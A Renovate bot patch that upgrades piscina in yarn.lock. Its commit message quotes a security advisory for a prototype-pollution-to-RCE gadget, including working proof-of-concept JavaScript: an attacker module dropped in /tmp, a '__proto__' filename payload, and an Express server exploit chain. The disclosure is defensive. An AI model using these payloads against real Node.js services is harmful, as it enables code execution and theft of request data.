From 9a9f243966024f85400486b2b62ecea9a0dc3b2c Mon Sep 17 00:00:00 2001
From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com>
Date: Fri, 19 Jun 2026 12:18:17 +0800
Subject: [PATCH] chore: bump up piscina version to v5.2.0 [SECURITY] (#15132)
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This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.1.4` →
`5.2.0`](https://renovatebot.com/diffs/npm/piscina/5.1.4/5.2.0) |

|

|
---
### piscina: Prototype Pollution Gadget → RCE via inherited
options.filename
[CVE-2026-55388](https://nvd.nist.gov/vuln/detail/CVE-2026-55388) /
[GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
More information
#### Details
##### Summary
`piscina`'s constructor and `run()` paths read the `filename` option via
plain member access:
```js
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
```
Both reads fall through the prototype chain when the caller's options
object doesn't have `filename` as an own property. When
`Object.prototype.filename` is polluted upstream — by any of the
well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3,
set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the
inherited value flows to `worker_threads.Worker` import and the
attacker's `.mjs` runs in the worker.
**Subtlety**: calling `pool.run(task)` with no second arg uses
`kDefaultRunOptions` which has `filename: null` as an OWN property —
that path DOES NOT fire. The vulnerable shape is when the caller passes
their own options object (commonly `{signal: ac.signal}` for abort
support, `{name: ...}` for task labelling, etc.). These caller-built
options objects inherit from `Object.prototype` unless the caller
explicitly uses `Object.create(null)`.
##### Impact
Two preconditions:
1. **Upstream PP-source** somewhere in the process — common in
transitive deps
2. **Attacker-controllable `.mjs`** at a known filesystem path —
realistic via upload endpoints, /tmp races, predictable node_modules
paths, or supply-chain
Once both fire:
- Every `pool.run(task, opts)` call across the entire process is
hijacked
- Attacker's exported function is called with the legitimate caller's
task data — **attacker reads per-request app data**
- Attacker controls the return value — caller receives
`worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied
response fields — **attacker can poison return values to legitimate
clients**
- Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually
*invokes* the attacker function with caller data on every dispatch (pino
imports the attacker module once and errors out).
##### Affected versions
Empirically verified vulnerable on `piscina@5.1.4` (latest stable at
time of disclosure). The bug shape is in the constructor's
`options.filename` read at line 92 of `dist/index.js`, present since the
worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
##### Proof of concept
##### A) Minimal in-process PoC
```js
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```
##### B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is
created at server boot with a legitimate worker, then per-request
handlers call `pool.run(req.body, {signal: ac.signal})` — the standard
abort-aware shape.
```js
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
```
Empirical observation on `piscina@5.1.4` + Node 23.11.0:
- Pre-attack `/api/process` returns `{by: 'valid-worker'}`
- Cold-path `/probe` after PP source confirms `({}).filename` is
polluted process-wide
- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed:
}`
- Sentinel file written from inside `piscina/dist/worker.js` with the
worker process's uid + env access
##### Recommended fix
Minimal — own-property guard at both option-read sites:
```js
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
? options.filename
: null;
const filename = userFilename
? (0, common_1.maybeFileURLToPath)(userFilename)
: null;
// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options); // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
```
More idiomatic — use a null-prototype working object throughout
`this.options`:
```js
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
: null;
this.options.maxQueue = 0;
```
Either approach closes the gadget without breaking any legitimate caller
pattern.
The pattern is the same as recommended for axios CVE-2026-44494 and the
pino PSA filed earlier today. Cross-fix consideration: any other library
you maintain that uses similar `options.X` member-access for worker /
child-process / module-load operations is worth a quick audit.
##### Coordination
- Same maintainer as pino — you're already in security-triage mode for
that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit `ridingsa` if you choose to credit a reporter.
##### How this was discovered
Generalized the pino disclosure's mechanism — any library that reads a
string option via plain member access and dynamic-loads it (via
`import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep
across 10 candidate libraries; piscina + fastify (via pino propagation)
fired. Piscina is independently vulnerable through its own option-read
sites, hence this separate disclosure.
#### Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
#### References
-
[https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg)
-
[https://github.com/advisories/GHSA-x9g3-xrwr-cwfg](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-x9g3-xrwr-cwfg)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
---
### Release Notes
piscinajs/piscina (piscina)
###
[`v5.2.0`](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)
[Compare
Source](https://redirect.github.com/piscinajs/piscina/compare/v5.1.4...v5.2.0)
---
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---
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Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
---
yarn.lock | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/yarn.lock b/yarn.lock
index f885a12abb..60851c8e41 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -30476,14 +30476,14 @@ __metadata:
linkType: hard
"piscina@npm:^5.1.4":
- version: 5.1.4
- resolution: "piscina@npm:5.1.4"
+ version: 5.2.0
+ resolution: "piscina@npm:5.2.0"
dependencies:
"@napi-rs/nice": "npm:^1.0.4"
dependenciesMeta:
"@napi-rs/nice":
optional: true
- checksum: 10/9801dd4f006e80b97cb740cdea02204a686198382d6914d9784372c8c6ec707d683c8d477b8a9ee83c0f48e421ecb74cd7b1d63ca4df5a5dc68c7cad0c8cca98
+ checksum: 10/c1d5592d372d88778641137b6d7a46e4260195f7c57cfd53215a6cb432a64d6a02c6831e289b2459a37b9619c037f1e1decb72929ad97b59af11f21aceec8484
languageName: node
linkType: hard